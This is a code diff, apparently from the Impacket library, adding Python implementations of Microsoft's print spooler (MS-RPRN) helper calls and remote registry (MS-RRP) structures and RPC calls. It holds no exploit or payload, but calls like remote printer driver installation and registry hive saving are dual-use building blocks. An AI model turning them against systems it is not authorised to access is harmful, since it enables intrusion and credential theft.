+    65 : (RpcRemoteFindFirstPrinterChangeNotificationEx, RpcRemoteFindFirstPrinterChangeNotificationExResponse),
+    69 : (RpcOpenPrinterEx, RpcOpenPrinterExResponse),
+    89 : (RpcAddPrinterDriverEx, RpcAddPrinterDriverExResponse),
+}
+
+################################################################################
+# HELPER FUNCTIONS
+################################################################################
+def checkNullString(string):
+    if string == NULL:
+        return string
+
+    if string[-1:] != '\x00':
+        return string + '\x00'
+    else:
+        return string
+
+def hRpcOpenPrinter(dce, printerName, pDatatype = NULL, pDevModeContainer = NULL, accessRequired = SERVER_READ):
+    """
+    RpcOpenPrinter retrieves a handle for a printer, port, port monitor, print job, or print server.
+    Full Documentation: https://msdn.microsoft.com/en-us/library/cc244808.aspx
+
+    :param DCERPC_v5 dce: a connected DCE instance.
+    :param string printerName: A string for a printer connection, printer object, server object, job object, port
+    object, or port monitor object. This MUST be a Domain Name System (DNS), NetBIOS, Internet Protocol version 4
+    (IPv4), Internet Protocol version 6 (IPv6), or Universal Naming Convention (UNC) name that remote procedure
+    call (RPC) binds to, and it MUST uniquely identify a print server on the network.
+    :param string pDatatype: A string that specifies the data type to be associated with the printer handle.
+    :param DEVMODE_CONTAINER pDevModeContainer: A DEVMODE_CONTAINER structure. This parameter MUST adhere to the specification in
+    DEVMODE_CONTAINER Parameters (section 3.1.4.1.8.1).
+    :param int accessRequired: The access level that the client requires for interacting with the object to which a
+    handle is being opened.
+
+    :return: a RpcOpenPrinterResponse instance, raises DCERPCSessionError on error.
+    """
+    request = RpcOpenPrinter()
+    request['pPrinterName'] = checkNullString(printerName)
+    request['pDatatype'] = pDatatype
+    if pDevModeContainer is NULL:
+        request['pDevModeContainer']['pDevMode'] = NULL
+    else:
+        request['pDevModeContainer'] = pDevModeContainer
+
+    request['AccessRequired'] = accessRequired
+    return dce.request(request)
+
+def hRpcClosePrinter(dce, phPrinter):
+    """
+    RpcClosePrinter closes a handle to a printer object, server object, job object, or port object.
+    Full Documentation: https://msdn.microsoft.com/en-us/library/cc244768.aspx
+
+    :param DCERPC_v5 dce: a connected DCE instance.
+    :param PRINTER_HANDLE phPrinter: A handle to a printer object, server object, job object, or port object.
+
+    :return: a RpcClosePrinterResponse instance, raises DCERPCSessionError on error.
+    """
+    request = RpcClosePrinter()
+    request['phPrinter'] = phPrinter
+    return dce.request(request)
+
+
+def hRpcOpenPrinterEx(dce, printerName, pDatatype=NULL, pDevModeContainer=NULL, accessRequired=SERVER_READ,
+                      pClientInfo=NULL):
+    """
+    RpcOpenPrinterEx retrieves a handle for a printer, port, port monitor, print job, or print server
+    Full Documentation: https://msdn.microsoft.com/en-us/library/cc244809.aspx
+
+    :param DCERPC_v5 dce: a connected DCE instance.
+    :param string printerName: A string for a printer connection, printer object, server object, job object, port
+    object, or port monitor object. This MUST be a Domain Name System (DNS), NetBIOS, Internet Protocol version 4
+    (IPv4), Internet Protocol version 6 (IPv6), or Universal Naming Convention (UNC) name that remote procedure
+    call (RPC) binds to, and it MUST uniquely identify a print server on the network.
+    :param string pDatatype: A string that specifies the data type to be associated with the printer handle.
+    :param DEVMODE_CONTAINER pDevModeContainer: A DEVMODE_CONTAINER structure. This parameter MUST adhere to the specification in
+    DEVMODE_CONTAINER Parameters (section 3.1.4.1.8.1).
+    :param int accessRequired: The access level that the client requires for interacting with the object to which a
+    handle is being opened.
+    :param SPLCLIENT_CONTAINER pClientInfo: This parameter MUST adhere to the specification in SPLCLIENT_CONTAINER Parameters.
+
+    :return: a RpcOpenPrinterExResponse instance, raises DCERPCSessionError on error.
+    """
+    request = RpcOpenPrinterEx()
+    request['pPrinterName'] = checkNullString(printerName)
+    request['pDatatype'] = pDatatype
+    if pDevModeContainer is NULL:
+        request['pDevModeContainer']['pDevMode'] = NULL
+    else:
+        request['pDevModeContainer'] = pDevModeContainer
+
+    request['AccessRequired'] = accessRequired
+    if pClientInfo is NULL:
+        raise Exception('pClientInfo cannot be NULL')
+
+    request['pClientInfo'] = pClientInfo
+    return dce.request(request)
+
+
+def hRpcRemoteFindFirstPrinterChangeNotificationEx(dce, hPrinter, fdwFlags, fdwOptions=0, pszLocalMachine=NULL,
+                                                   dwPrinterLocal=0, pOptions=NULL):
+    """
+    creates a remote change notification object that monitors changes to printer objects and sends change notifications
+    to a print client using either RpcRouterReplyPrinter (section 3.2.4.1.2) or RpcRouterReplyPrinterEx (section 3.2.4.1.4)
+    Full Documentation: https://msdn.microsoft.com/en-us/library/cc244813.aspx
+
+    :param DCERPC_v5 dce: a connected DCE instance.
+    :param PRINTER_HANDLE hPrinter: A handle to a printer or server object.
+    :param int fdwFlags: Flags that specify the conditions that are required for a change notification object to enter a signaled state.
+    :param int fdwOptions: The category of printers for which change notifications are returned.
+    :param string pszLocalMachine: A string that represents the name of the client computer.
+    :param int dwPrinterLocal: An implementation-specific unique value that MUST be sufficient for the client to determine
+    whether a call to RpcReplyOpenPrinter by the server is associated with the hPrinter parameter in this call.
+    :param RPC_V2_NOTIFY_OPTIONS pOptions:  An RPC_V2_NOTIFY_OPTIONS structure that specifies printer or job members that the client listens to for notifications.
+
+    :return: a RpcRemoteFindFirstPrinterChangeNotificationExResponse instance, raises DCERPCSessionError on error.
+    """
+    request = RpcRemoteFindFirstPrinterChangeNotificationEx()
+
+    request['hPrinter'] = hPrinter
+    request['fdwFlags'] = fdwFlags
+    request['fdwOptions'] = fdwOptions
+    request['dwPrinterLocal'] = dwPrinterLocal
+    if pszLocalMachine is NULL:
+        raise Exception('pszLocalMachine cannot be NULL')
+    request['pszLocalMachine'] = checkNullString(pszLocalMachine)
+    request['pOptions'] = pOptions
+    return dce.request(request)
+
+def hRpcEnumPrinters(dce, flags, name = NULL, level = 1):
+    """
+    RpcEnumPrinters enumerates available printers, print servers, domains, or print providers.
+    Full Documentation: https://msdn.microsoft.com/en-us/library/cc244794.aspx
+
+    :param DCERPC_v5 dce: a connected DCE instance.
+    :param int flags: The types of print objects that this method enumerates. The value of this parameter is the
+    result of a bitwise OR of one or more of the Printer Enumeration Flags (section 2.2.3.7).
+    :param string name: NULL or a server name parameter as specified in Printer Server Name Parameters (section 3.1.4.1.4).
+    :param level: The level of printer information structure.
+
+    :return: a RpcEnumPrintersResponse instance, raises DCERPCSessionError on error.
+    """
+    request = RpcEnumPrinters()
+    request['Flags'] = flags
+    request['Name'] = name
+    request['pPrinterEnum'] = NULL
+    request['Level'] = level
+    bytesNeeded = 0
+    try:
+        dce.request(request)
+    except DCERPCSessionError as e:
+        if str(e).find('ERROR_INSUFFICIENT_BUFFER') < 0:
+            raise
+        bytesNeeded = e.get_packet()['pcbNeeded']
+
+    request = RpcEnumPrinters()
+    request['Flags'] = flags
+    request['Name'] = name
+    request['Level'] = level
+
+    request['cbBuf'] = bytesNeeded
+    request['pPrinterEnum'] = b'a' * bytesNeeded
+    return dce.request(request)
+
+
+def hRpcAddPrinterDriverEx(dce, pName, pDriverContainer, dwFileCopyFlags):
+    """
+    RpcAddPrinterDriverEx installs a printer driver on the print server
+    Full Documentation: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/b96cc497-59e5-4510-ab04-5484993b259b
+
+    :param DCERPC_v5 dce: a connected DCE instance.
+    :param pName
+    :param pDriverContainer
+    :param dwFileCopyFlags
+
+    :return: raises DCERPCSessionError on error.
+    """
+    request = RpcAddPrinterDriverEx()
+    request['pName'] = checkNullString(pName)
+    request['pDriverContainer'] = pDriverContainer
+    request['dwFileCopyFlags'] = dwFileCopyFlags
+
+    #return request
+    return dce.request(request)
+
+
+def hRpcEnumPrinterDrivers(dce, pName, pEnvironment, Level):
+    """
+    RpcEnumPrinterDrivers enumerates the printer drivers installed on a specified print server.
+    Full Documentation: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/857d00ac-3682-4a0d-86ca-3d3c372e5e4a
+
+    :param DCERPC_v5 dce: a connected DCE instance.
+    :param pName
+    :param pEnvironment
+    :param Level
+    :param pDrivers
+    :param cbBuf
+    :param pcbNeeded
+    :param pcReturned
+
+    :return: raises DCERPCSessionError on error.
+    """
+    # get value for cbBuf
+    request = RpcEnumPrinterDrivers()
+    request['pName']        = checkNullString(pName)
+    request['pEnvironment'] = pEnvironment
+    request['Level']        = Level
+    request['pDrivers']     = NULL
+    request['cbBuf']        = 0
+    try:
+        dce.request(request)
+    except DCERPCSessionError as e:
+        if str(e).find('ERROR_INSUFFICIENT_BUFFER') < 0:
+            raise
+        bytesNeeded = e.get_packet()['pcbNeeded']
+
+    # now do RpcEnumPrinterDrivers again
+    request = RpcEnumPrinterDrivers()
+    request['pName']        = checkNullString(pName)
+    request['pEnvironment'] = pEnvironment
+    request['Level']        = Level
+    request['pDrivers']     = b'a' * bytesNeeded
+    request['cbBuf']        = bytesNeeded
+
+    #return request
+    return dce.request(request)
+
+def hRpcGetPrinterDriverDirectory(dce, pName, pEnvironment, Level):
+    """
+    RpcGetPrinterDriverDirectory retrieves the path of the printer driver directory.
+    Full Documentation: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/9df11cf4-4098-4852-ad72-d1f75a82bffe
+
+    :param DCERPC_v5 dce: a connected DCE instance.
+    :param pName
+    :param pEnvironment
+    :param Level
+    :param pDriverDirectory
+    :param cbBuf
+    :param pcbNeeded
+
+    :return: raises DCERPCSessionError on error.
+    """
+    # get value for cbBuf
+    request = RpcGetPrinterDriverDirectory()
+    request['pName']            = checkNullString(pName)
+    request['pEnvironment']     = pEnvironment
+    request['Level']            = Level
+    request['pDriverDirectory'] = NULL
+    request['cbBuf']            = 0
+    try:
+        dce.request(request)
+    except DCERPCSessionError as e:
+        if str(e).find('ERROR_INSUFFICIENT_BUFFER') < 0:
+            raise
+        bytesNeeded = e.get_packet()['pcbNeeded']
+    
+    # now do RpcGetPrinterDriverDirectory again
+    request = RpcGetPrinterDriverDirectory()
+    request['pName']            = checkNullString(pName)
+    request['pEnvironment']     = pEnvironment
+    request['Level']            = Level
+    request['pDriverDirectory'] = b'a' * bytesNeeded
+    request['cbBuf']            = bytesNeeded
+    
+    return dce.request(request)
diff --git a/impacket/dcerpc/v5/rrp.py b/impacket/dcerpc/v5/rrp.py
new file mode 100644
index 0000000..55324c9
--- /dev/null
+++ b/impacket/dcerpc/v5/rrp.py
@@ -0,0 +1,1014 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MS-RRP] Interface implementation
+#
+#   Best way to learn how to use these calls is to grab the protocol standard
+#   so you understand what the call does, and then read the test case located
+#   at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
+#
+#   Some calls have helper functions, which makes it even easier to use.
+#   They are located at the end of this file.
+#   Helper functions start with "h"<name of the call>.
+#   There are test cases for them too.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+
+
+from struct import unpack, pack
+
+from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantVaryingArray, NDRUniConformantArray
+from impacket.dcerpc.v5.dtypes import DWORD, UUID, ULONG, LPULONG, BOOLEAN, SECURITY_INFORMATION, PFILETIME, \
+    RPC_UNICODE_STRING, FILETIME, NULL, MAXIMUM_ALLOWED, OWNER_SECURITY_INFORMATION, PWCHAR, PRPC_UNICODE_STRING
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket import system_errors, LOG
+from impacket.uuid import uuidtup_to_bin
+
+MSRPC_UUID_RRP = uuidtup_to_bin(('338CD001-2244-31F1-AAAA-900038001003', '1.0'))
+
+class DCERPCSessionError(DCERPCException):
+    def __init__(self, error_string=None, error_code=None, packet=None):
+        DCERPCException.__init__(self, error_string, error_code, packet)
+
+    def __str__( self ):
+        key = self.error_code
+        if key in system_errors.ERROR_MESSAGES:
+            error_msg_short = system_errors.ERROR_MESSAGES[key][0]
+            error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
+            return 'RRP SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
+        else:
+            return 'RRP SessionError: unknown error code: 0x%x' % self.error_code
+
+################################################################################
+# CONSTANTS
+################################################################################
+# 2.2.2 PREGISTRY_SERVER_NAME
+PREGISTRY_SERVER_NAME = PWCHAR
+
+# 2.2.3 error_status_t
+error_status_t = ULONG
+
+# 2.2.5 RRP_UNICODE_STRING
+RRP_UNICODE_STRING = RPC_UNICODE_STRING
+PRRP_UNICODE_STRING = PRPC_UNICODE_STRING
+
+# 2.2.4 REGSAM
+REGSAM = ULONG
+
+KEY_QUERY_VALUE             = 0x00000001
+KEY_SET_VALUE               = 0x00000002
+KEY_CREATE_SUB_KEY          = 0x00000004
+KEY_ENUMERATE_SUB_KEYS      = 0x00000008
+KEY_CREATE_LINK             = 0x00000020
+KEY_WOW64_64KEY             = 0x00000100
+KEY_WOW64_32KEY             = 0x00000200
+KEY_READ                    = 0x00020019
+
+REG_BINARY              = 3
+REG_DWORD               = 4
+REG_DWORD_LITTLE_ENDIAN = 4
+REG_DWORD_BIG_ENDIAN    = 5
+REG_EXPAND_SZ           = 2
+REG_LINK                = 6
+REG_MULTI_SZ            = 7
+REG_NONE                = 0
+REG_QWORD               = 11
+REG_QWORD_LITTLE_ENDIAN = 11
+REG_SZ                  = 1
+
+# 3.1.5.15 BaseRegOpenKey (Opnum 15)
+REG_OPTION_BACKUP_RESTORE   = 0x00000004
+REG_OPTION_OPEN_LINK        = 0x00000008
+
+# 3.1.5.7 BaseRegCreateKey (Opnum 6)
+REG_CREATED_NEW_KEY     = 0x00000001
+REG_OPENED_EXISTING_KEY = 0x00000002
+
+# 3.1.5.19 BaseRegRestoreKey (Opnum 19)
+# Flags
+REG_WHOLE_HIVE_VOLATILE = 0x00000001
+REG_REFRESH_HIVE        = 0x00000002
+REG_NO_LAZY_FLUSH       = 0x00000004
+REG_FORCE_RESTORE       = 0x00000008
+
+################################################################################
+# STRUCTURES
+################################################################################
+# 2.2.1 RPC_HKEY
+class RPC_HKEY(NDRSTRUCT):
+    structure =  (
+        ('context_handle_attributes',ULONG),
+        ('context_handle_uuid',UUID),
+    )
+
+    def __init__(self, data=None, isNDR64=False):
+        NDRSTRUCT.__init__(self, data, isNDR64)
+        self['context_handle_uuid'] = b'\x00'*16
+
+    def isNull(self):
+        return self['context_handle_uuid'] == b'\x00'*16
+
+# 2.2.6 RVALENT
+class RVALENT(NDRSTRUCT):
+    structure =  (
+        ('ve_valuename',PRRP_UNICODE_STRING),
+        ('ve_valuelen',DWORD),
+        ('ve_valueptr',DWORD),
+        ('ve_type',DWORD),
+    )
+
+class RVALENT_ARRAY(NDRUniConformantVaryingArray):
+    item = RVALENT
+
+# 2.2.9 RPC_SECURITY_DESCRIPTOR
+class BYTE_ARRAY(NDRUniConformantVaryingArray):
+    pass
+
+class PBYTE_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', BYTE_ARRAY),
+    )
+
+class RPC_SECURITY_DESCRIPTOR(NDRSTRUCT):
+    structure =  (
+        ('lpSecurityDescriptor',PBYTE_ARRAY),
+        ('cbInSecurityDescriptor',DWORD),
+        ('cbOutSecurityDescriptor',DWORD),
+    )
+
+# 2.2.8 RPC_SECURITY_ATTRIBUTES
+class RPC_SECURITY_ATTRIBUTES(NDRSTRUCT):
+    structure =  (
+        ('nLength',DWORD),
+        ('RpcSecurityDescriptor',RPC_SECURITY_DESCRIPTOR),
+        ('bInheritHandle',BOOLEAN),
+    )
+
+class PRPC_SECURITY_ATTRIBUTES(NDRPOINTER):
+    referent = (
+        ('Data', RPC_SECURITY_ATTRIBUTES),
+    )
+
+################################################################################
+# RPC CALLS
+################################################################################
+# 3.1.5.1 OpenClassesRoot (Opnum 0)
+class OpenClassesRoot(NDRCALL):
+    opnum = 0
+    structure = (
+       ('ServerName', PREGISTRY_SERVER_NAME),
+       ('samDesired', REGSAM),
+    )
+
+class OpenClassesRootResponse(NDRCALL):
+    structure = (
+       ('phKey', RPC_HKEY),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.5.2 OpenCurrentUser (Opnum 1)
+class OpenCurrentUser(NDRCALL):
+    opnum = 1
+    structure = (
+       ('ServerName', PREGISTRY_SERVER_NAME),
+       ('samDesired', REGSAM),
+    )
+
+class OpenCurrentUserResponse(NDRCALL):
+    structure = (
+       ('phKey', RPC_HKEY),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.5.3 OpenLocalMachine (Opnum 2)
+class OpenLocalMachine(NDRCALL):
+    opnum = 2
+    structure = (
+       ('ServerName', PREGISTRY_SERVER_NAME),
+       ('samDesired', REGSAM),
+    )
+
+class OpenLocalMachineResponse(NDRCALL):
+    structure = (
+       ('phKey', RPC_HKEY),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.5.4 OpenPerformanceData (Opnum 3)
+class OpenPerformanceData(NDRCALL):
+    opnum = 3
+    structure = (
+       ('ServerName', PREGISTRY_SERVER_NAME),
+       ('samDesired', REGSAM),
+    )
+
+class OpenPerformanceDataResponse(NDRCALL):
+    structure = (
+       ('phKey', RPC_HKEY),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.5.5 OpenUsers (Opnum 4)
+class OpenUsers(NDRCALL):
+    opnum = 4
+    structure = (
+       ('ServerName', PREGISTRY_SERVER_NAME),
+       ('samDesired', REGSAM),
+    )
+
+class OpenUsersResponse(NDRCALL):
+    structure = (
+       ('phKey', RPC_HKEY),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.5.6 BaseRegCloseKey (Opnum 5)
+class BaseRegCloseKey(NDRCALL):
+    opnum = 5
+    structure = (
+       ('hKey', RPC_HKEY),
+    )
+
+class BaseRegCloseKeyResponse(NDRCALL):
+    structure = (
+       ('hKey', RPC_HKEY),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.5.7 BaseRegCreateKey (Opnum 6)
+class BaseRegCreateKey(NDRCALL):
+    opnum = 6
+    structure = (
+       ('hKey', RPC_HKEY),
+       ('lpSubKey', RRP_UNICODE_STRING),
+       ('lpClass', RRP_UNICODE_STRING),
+       ('dwOptions', DWORD),
+       ('samDesired', REGSAM),
+       ('lpSecurityAttributes', PRPC_SECURITY_ATTRIBUTES),
+       ('lpdwDisposition', LPULONG),
+    )
+
+class BaseRegCreateKeyResponse(NDRCALL):
+    structure = (
+       ('phkResult', RPC_HKEY),
+       ('lpdwDisposition', LPULONG),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.5.8 BaseRegDeleteKey (Opnum 7)
+class BaseRegDeleteKey(NDRCALL):
+    opnum = 7
+    structure = (
+       ('hKey', RPC_HKEY),
+       ('lpSubKey', RRP_UNICODE_STRING),
+    )
+
+class BaseRegDeleteKeyResponse(NDRCALL):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.5.9 BaseRegDeleteValue (Opnum 8)
+class BaseRegDeleteValue(NDRCALL):
+    opnum = 8
+    structure = (
+       ('hKey', RPC_HKEY),
+       ('lpValueName', RRP_UNICODE_STRING),
+    )
+
+class BaseRegDeleteValueResponse(NDRCALL):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.5.10 BaseRegEnumKey (Opnum 9)
+class BaseRegEnumKey(NDRCALL):
+    opnum = 9
+    structure = (
+       ('hKey', RPC_HKEY),
+       ('dwIndex', DWORD),
+       ('lpNameIn', RRP_UNICODE_STRING),
+       ('lpClassIn', PRRP_UNICODE_STRING),
+       ('lpftLastWriteTime', PFILETIME),
+    )
+
+class BaseRegEnumKeyResponse(NDRCALL):
+    structure = (
+       ('lpNameOut', RRP_UNICODE_STRING),
+       ('lplpClassOut', PRRP_UNICODE_STRING),
+       ('lpftLastWriteTime', PFILETIME),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.5.11 BaseRegEnumValue (Opnum 10)
+class BaseRegEnumValue(NDRCALL):
+    opnum = 10
+    structure = (
+       ('hKey', RPC_HKEY),
+       ('dwIndex', DWORD),
+       ('lpValueNameIn', RRP_UNICODE_STRING),
+       ('lpType', LPULONG),
+       ('lpData', PBYTE_ARRAY),
+       ('lpcbData', LPULONG),
+       ('lpcbLen', LPULONG),
+    )
+
+class BaseRegEnumValueResponse(NDRCALL):
+    structure = (
+       ('lpValueNameOut', RRP_UNICODE_STRING),
+       ('lpType', LPULONG),
+       ('lpData', PBYTE_ARRAY),
+       ('lpcbData', LPULONG),
+       ('lpcbLen', LPULONG),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.5.12 BaseRegFlushKey (Opnum 11)
+class BaseRegFlushKey(NDRCALL):
+    opnum = 11
+    structure = (
+       ('hKey', RPC_HKEY),
+    )
+
+class BaseRegFlushKeyResponse(NDRCALL):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.5.13 BaseRegGetKeySecurity (Opnum 12)
+class BaseRegGetKeySecurity(NDRCALL):
+    opnum = 12
+    structure = (
+       ('hKey', RPC_HKEY),
+       ('SecurityInformation', SECURITY_INFORMATION),
+       ('pRpcSecurityDescriptorIn', RPC_SECURITY_DESCRIPTOR),
+    )
+
+class BaseRegGetKeySecurityResponse(NDRCALL):
+    structure = (
+       ('pRpcSecurityDescriptorOut', RPC_SECURITY_DESCRIPTOR),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.5.14 BaseRegLoadKey (Opnum 13)
+class BaseRegLoadKey(NDRCALL):
+    opnum = 13
+    structure = (
+       ('hKey', RPC_HKEY),
+       ('lpSubKey', RRP_UNICODE_STRING),
+       ('lpFile', RRP_UNICODE_STRING),
+    )
+
+class BaseRegLoadKeyResponse(NDRCALL):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.5.15 BaseRegOpenKey (Opnum 15)
+class BaseRegOpenKey(NDRCALL):
+    opnum = 15
+    structure = (
+       ('hKey', RPC_HKEY),
+       ('lpSubKey', RRP_UNICODE_STRING),
+       ('dwOptions', DWORD),
+       ('samDesired', REGSAM),
+    )
+
+class BaseRegOpenKeyResponse(NDRCALL):
+    structure = (
+       ('phkResult', RPC_HKEY),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.5.16 BaseRegQueryInfoKey (Opnum 16)
+class BaseRegQueryInfoKey(NDRCALL):
+    opnum = 16
+    structure = (
+       ('hKey', RPC_HKEY),
+       ('lpClassIn', RRP_UNICODE_STRING),
+    )
+
+class BaseRegQueryInfoKeyResponse(NDRCALL):
+    structure = (
+       ('lpClassOut', RPC_UNICODE_STRING),
+       ('lpcSubKeys', DWORD),
+       ('lpcbMaxSubKeyLen', DWORD),
+       ('lpcbMaxClassLen', DWORD),
+       ('lpcValues', DWORD),
+       ('lpcbMaxValueNameLen', DWORD),
+       ('lpcbMaxValueLen', DWORD),
+       ('lpcbSecurityDescriptor', DWORD),
+       ('lpftLastWriteTime', FILETIME),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.5.17 BaseRegQueryValue (Opnum 17)
+class BaseRegQueryValue(NDRCALL):
+    opnum = 17
+    structure = (
+       ('hKey', RPC_HKEY),
+       ('lpValueName', RRP_UNICODE_STRING),
+       ('lpType', LPULONG),
+       ('lpData', PBYTE_ARRAY),
+       ('lpcbData', LPULONG),
+       ('lpcbLen', LPULONG),
+    )
+
+class BaseRegQueryValueResponse(NDRCALL):
+    structure = (
+       ('lpType', LPULONG),
+       ('lpData', PBYTE_ARRAY),
+       ('lpcbData', LPULONG),
+       ('lpcbLen', LPULONG),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.5.18 BaseRegReplaceKey (Opnum 18)
+class BaseRegReplaceKey(NDRCALL):
+    opnum = 18
+    structure = (
+       ('hKey', RPC_HKEY),
+       ('lpSubKey', RRP_UNICODE_STRING),
+       ('lpNewFile', RRP_UNICODE_STRING),
+       ('lpOldFile', RRP_UNICODE_STRING),
+    )
+
+class BaseRegReplaceKeyResponse(NDRCALL):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.5.19 BaseRegRestoreKey (Opnum 19)
+class BaseRegRestoreKey(NDRCALL):
+    opnum = 19
+    structure = (
+       ('hKey', RPC_HKEY),
+       ('lpFile', RRP_UNICODE_STRING),
+       ('Flags', DWORD),
+    )
+
+class BaseRegRestoreKeyResponse(NDRCALL):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.5.20 BaseRegSaveKey (Opnum 20)
+class BaseRegSaveKey(NDRCALL):
+    opnum = 20
+    structure = (
+       ('hKey', RPC_HKEY),
+       ('lpFile', RRP_UNICODE_STRING),
+       ('pSecurityAttributes', PRPC_SECURITY_ATTRIBUTES),
+    )
+
+class BaseRegSaveKeyResponse(NDRCALL):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.5.21 BaseRegSetKeySecurity (Opnum 21)
+class BaseRegSetKeySecurity(NDRCALL):
+    opnum = 21
+    structure = (
+       ('hKey', RPC_HKEY),
+       ('SecurityInformation', SECURITY_INFORMATION),
+       ('pRpcSecurityDescriptor', RPC_SECURITY_DESCRIPTOR),
+    )
+
+class BaseRegSetKeySecurityResponse(NDRCALL):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.5.22 BaseRegSetValue (Opnum 22)
+class BaseRegSetValue(NDRCALL):
+    opnum = 22
+    structure = (
+       ('hKey', RPC_HKEY),
+       ('lpValueName', RRP_UNICODE_STRING),
+       ('dwType', DWORD),
+       ('lpData', NDRUniConformantArray),
+       ('cbData', DWORD),
+    )
+
+class BaseRegSetValueResponse(NDRCALL):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.5.23 BaseRegUnLoadKey (Opnum 23)
+class BaseRegUnLoadKey(NDRCALL):
+    opnum = 23
+    structure = (
+       ('hKey', RPC_HKEY),
+       ('lpSubKey', RRP_UNICODE_STRING),
+    )
+
+class BaseRegUnLoadKeyResponse(NDRCALL):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.5.24 BaseRegGetVersion (Opnum 26)
+class BaseRegGetVersion(NDRCALL):
+    opnum = 26
+    structure = (
+       ('hKey', RPC_HKEY),
+    )
+
+class BaseRegGetVersionResponse(NDRCALL):
+    structure = (
+       ('lpdwVersion', DWORD),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.5.25 OpenCurrentConfig (Opnum 27)
+class OpenCurrentConfig(NDRCALL):
+    opnum = 27
+    structure = (
+       ('ServerName', PREGISTRY_SERVER_NAME),
+       ('samDesired', REGSAM),
+    )
+
+class OpenCurrentConfigResponse(NDRCALL):
+    structure = (
+       ('phKey', RPC_HKEY),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.5.26 BaseRegQueryMultipleValues (Opnum 29)
+class BaseRegQueryMultipleValues(NDRCALL):
+    opnum = 29
+    structure = (
+       ('hKey', RPC_HKEY),
+       ('val_listIn', RVALENT_ARRAY),
+       ('num_vals', DWORD),
+       ('lpvalueBuf', PBYTE_ARRAY),
+       ('ldwTotsize', DWORD),
+    )
+
+class BaseRegQueryMultipleValuesResponse(NDRCALL):
+    structure = (
+       ('val_listOut', RVALENT_ARRAY),
+       ('lpvalueBuf', PBYTE_ARRAY),
+       ('ldwTotsize', DWORD),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.5.27 BaseRegSaveKeyEx (Opnum 31)
+class BaseRegSaveKeyEx(NDRCALL):
+    opnum = 31
+    structure = (
+       ('hKey', RPC_HKEY),
+       ('lpFile', RRP_UNICODE_STRING),
+       ('pSecurityAttributes', PRPC_SECURITY_ATTRIBUTES),
+       ('Flags', DWORD),
+    )
+
+class BaseRegSaveKeyExResponse(NDRCALL):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.5.28 OpenPerformanceText (Opnum 32)
+class OpenPerformanceText(NDRCALL):
+    opnum = 32
+    structure = (
+       ('ServerName', PREGISTRY_SERVER_NAME),
+       ('samDesired', REGSAM),
+    )
+
+class OpenPerformanceTextResponse(NDRCALL):
+    structure = (
+       ('phKey', RPC_HKEY),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.5.29 OpenPerformanceNlsText (Opnum 33)
+class OpenPerformanceNlsText(NDRCALL):
+    opnum = 33
+    structure = (
+       ('ServerName', PREGISTRY_SERVER_NAME),
+       ('samDesired', REGSAM),
+    )
+
+class OpenPerformanceNlsTextResponse(NDRCALL):
+    structure = (
+       ('phKey', RPC_HKEY),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.5.30 BaseRegQueryMultipleValues2 (Opnum 34)
+class BaseRegQueryMultipleValues2(NDRCALL):
+    opnum = 34
+    structure = (
+       ('hKey', RPC_HKEY),
+       ('val_listIn', RVALENT_ARRAY),
+       ('num_vals', DWORD),
+       ('lpvalueBuf', PBYTE_ARRAY),
+       ('ldwTotsize', DWORD),
+    )
+
+class BaseRegQueryMultipleValues2Response(NDRCALL):
+    structure = (
+       ('val_listOut', RVALENT_ARRAY),
+       ('lpvalueBuf', PBYTE_ARRAY),
+       ('ldwRequiredSize', DWORD),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.5.31 BaseRegDeleteKeyEx (Opnum 35)
+class BaseRegDeleteKeyEx(NDRCALL):
+    opnum = 35
+    structure = (
+       ('hKey', RPC_HKEY),
+       ('lpSubKey', RRP_UNICODE_STRING),
+       ('AccessMask', REGSAM),
+       ('Reserved', DWORD),
+    )
+
+class BaseRegDeleteKeyExResponse(NDRCALL):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+################################################################################
+# OPNUMs and their corresponding structures
+################################################################################
